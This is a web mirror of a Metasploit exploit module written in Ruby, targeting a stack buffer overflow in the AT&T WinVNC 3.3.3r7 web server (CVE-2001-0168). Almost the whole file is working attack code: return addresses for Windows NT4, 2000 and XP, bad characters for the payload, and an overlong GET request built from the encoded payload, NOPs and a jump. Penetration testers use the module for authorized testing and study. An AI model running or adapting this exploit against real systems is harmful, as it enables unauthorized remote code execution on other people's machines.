CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/vnc/winvnc_http_get.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'WinVNC Web Server GET Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in the AT&T WinVNC version
16
<= v3.3.3r7 web server. When debugging mode with logging is
17
enabled (non-default), an overly long GET request can overwrite
18
the stack. This exploit does not work well with VNC payloads!
19
},
20
'Author' => 'aushack',
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'BID', '2306' ],
25
[ 'OSVDB', '6280' ],
26
[ 'CVE', '2001-0168' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' =>
34
{
35
'Space' => 979,
36
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => ['win'],
40
'Targets' =>
41
[
42
[ 'Windows NT4 SP3-6', { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll
43
[ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll
44
[ 'Windows XP SP0-1', { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll
45
],
46
'DisclosureDate' => '2001-01-29',
47
'DefaultTarget' => 1))
48
49
register_options(
50
[
51
Opt::RPORT(5800),
52
])
53
end
54
55
def exploit
56
57
sploit = '/' + payload.encoded + [target['Ret']].pack('V')
58
sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)
59
60
res = send_request_raw({
61
'uri' => sploit,
62
'method' => 'GET',
63
}, 5)
64
65
handler
66
67
end
68
end
69
70